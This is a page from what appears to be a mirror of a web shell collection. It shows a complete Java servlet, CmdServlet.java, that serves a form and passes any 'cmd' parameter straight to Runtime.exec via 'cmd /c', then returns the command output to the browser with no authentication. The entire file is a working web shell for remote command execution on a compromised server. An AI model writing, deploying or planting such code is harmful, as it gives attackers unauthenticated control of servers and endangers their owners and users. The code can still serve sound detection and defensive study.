mirror of
https://github.com/tennc/webshell
synced 2024-11-25 04:30:17 +00:00
43 lines
1.1 KiB
Java
43 lines
1.1 KiB
Java
/*
|
|
* CmdServlet.java 20/01/2004
|
|
*
|
|
* @author The Dark Raver
|
|
* @version 0.1
|
|
*/
|
|
|
|
import java.io.*;
|
|
import javax.servlet.*;
|
|
import javax.servlet.http.*;
|
|
|
|
|
|
public class CmdServlet extends HttpServlet {
|
|
|
|
public void doGet(HttpServletRequest req, HttpServletResponse res) throws ServletException, IOException {
|
|
res.setContentType("text/html");
|
|
|
|
PrintWriter out = res.getWriter();
|
|
out.print("<html><body>");
|
|
out.print("<hr><p><form method=\"GET\" name=\"myform\" action=\"\">");
|
|
out.print("<input type=\"text\" name=\"cmd\">");
|
|
out.print("<input type=\"submit\" value=\"Send\">");
|
|
out.print("</form>");
|
|
|
|
if(req.getParameter("cmd") != null) {
|
|
out.print("\n<hr><p><b>Command: " + req.getParameter("cmd") + "\n</b><br><br><hr><pre>\n");
|
|
Process p = Runtime.getRuntime().exec("cmd /c " + req.getParameter("cmd"));
|
|
DataInputStream procIn = new DataInputStream(p.getInputStream());
|
|
int c='\0';
|
|
while ((c=procIn.read()) != -1) {
|
|
out.print((char)c);
|
|
}
|
|
}
|
|
|
|
out.print("\n<hr></pre>");
|
|
out.print("</body></html>");
|
|
}
|
|
|
|
public String getServletInfo() {
|
|
return "CmdServlet 0.1";
|
|
}
|
|
|
|
}
|